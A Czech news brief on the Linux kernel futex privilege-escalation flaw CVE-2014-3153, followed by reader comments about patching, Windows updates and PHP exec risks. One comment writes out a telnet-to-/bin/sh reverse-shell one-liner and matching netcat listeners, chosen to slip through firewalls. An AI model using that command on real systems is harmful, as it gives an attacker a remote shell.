Chyba v Linuxu umožňuje získat práva roota

Na mailing listu oss-sec bylo upozorněno na chybu v implementaci futexu v jádře (CVE-2014-3153). Lze ji zneužít k eskalaci práv. Ve stable Debianu je již opravena.

6.6.2014 11:15 | Hans1024 | Bezpečnostní upozornění

Komentáře

[sonicpp]

Co zprávička, to závažná chyba :-/

[little.owl]

To je pak i v CentOS/RHEL 6.x .... :-\

[696]

Tož su klidný. Kdyby se ke každé bezpečností chybě ve woknech vydávala zprávička, tak bych nečetl nic jiného. Na pracovním compu to kolegům každou lichou středu napere 100 – 140MB aktualizací a dám ruku do ohně za to, že to nejsou vylepšeníí nebo nové verze programů

[petrfm]

pulka z toho jsou databaze potencialne skodliveho SW a lidi... teroristicky software

[marek_hb]

Sice cednik, ale máme ho zadarmo :)

[j]

Furt lepsi nez stenej cednik za penize ...

[Peter]

Pri popise týchto chýb uvádzajú "local user ..." a mňa zaujíma jedna vec - musí to byť reálny používateľ, teda ten s "/bin/bash" alebo tieto chyby môže zneužiť aj útočník povedzme cez apache, ktorý má "/sbin/nologin" a to napríklad tak, že sa mu podarí hodiť na server nejaké php s exec?

[Jendа]

Stačí to PHP s exec.

[Max]

Za předpokladu, že člověk nemá ošetřen server pomocí dalších nástrojů (selinux apod.).
Zdar Max

[Jan R.]

Zrovna futexy sa SELinuxom asi dost dobre obmedzit nedaju, lebo su treba prakticky vsade... (exec zrejme obmedzit ide - akurat ci to staci...)

[lertimir]

A obecně jeden příkaz stačí. Třeba

/bin/telnet IP 80 | /bin/sh | /bin/telnet IP 25

vyrobí "reverse channel" z napadeného systému na IP útočníka. Pokud u něj čekají dvě instance netcat na dva telnetové kanály

nc –l –n –v –p 80 (25)

tak má útočník shell. Pak přes jeden netcat pošle příkaz, ten prohučí přes shell a zobrazí se do druhého netcatu. Porty 80 a 25 jsou zvoleny proto, že je většina firewallů povoluje. Nebo to může být 80 a 443.

[Sten]

Pokud je to PHP nastavené tak, že spustí cokoliv, tak je to totéž, jako kdyby mělo shell. Proto minimum by měl být alespoň safe_mode, ale vhodnější je exec a podobné funkce úplně zakázat.

[trekker.dk]

Proto minimum by měl být alespoň safe_mode

... tak to snad ne, že ne? Z dokumentace PHP: "This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0." Krom toho například v Debianu ohledně opravování chyb v PHP píší: "PHP security issues are typically triaged with different priorities based on the particulars of the issue. Issues involving features that are broken as designed (safe mode, register globals, etc) are completely ignored."

[Yenda]

Doufam, ze někdo forkne Linux, nazve to LibreLinux a smaze nejdriv futexy a hned potom i zbytek celého kódu. Kód ktery neexistuje nemůže obsahovat chyby, vime?

[pavlix]

Jak víš, že to už někdo neudělal?

[Yenda]

V tom případě, v duchu OSS a free software, forknout jeste aspoň dvakrát. A za fork forku jsou body navic.

[pavlix]

Enjoy.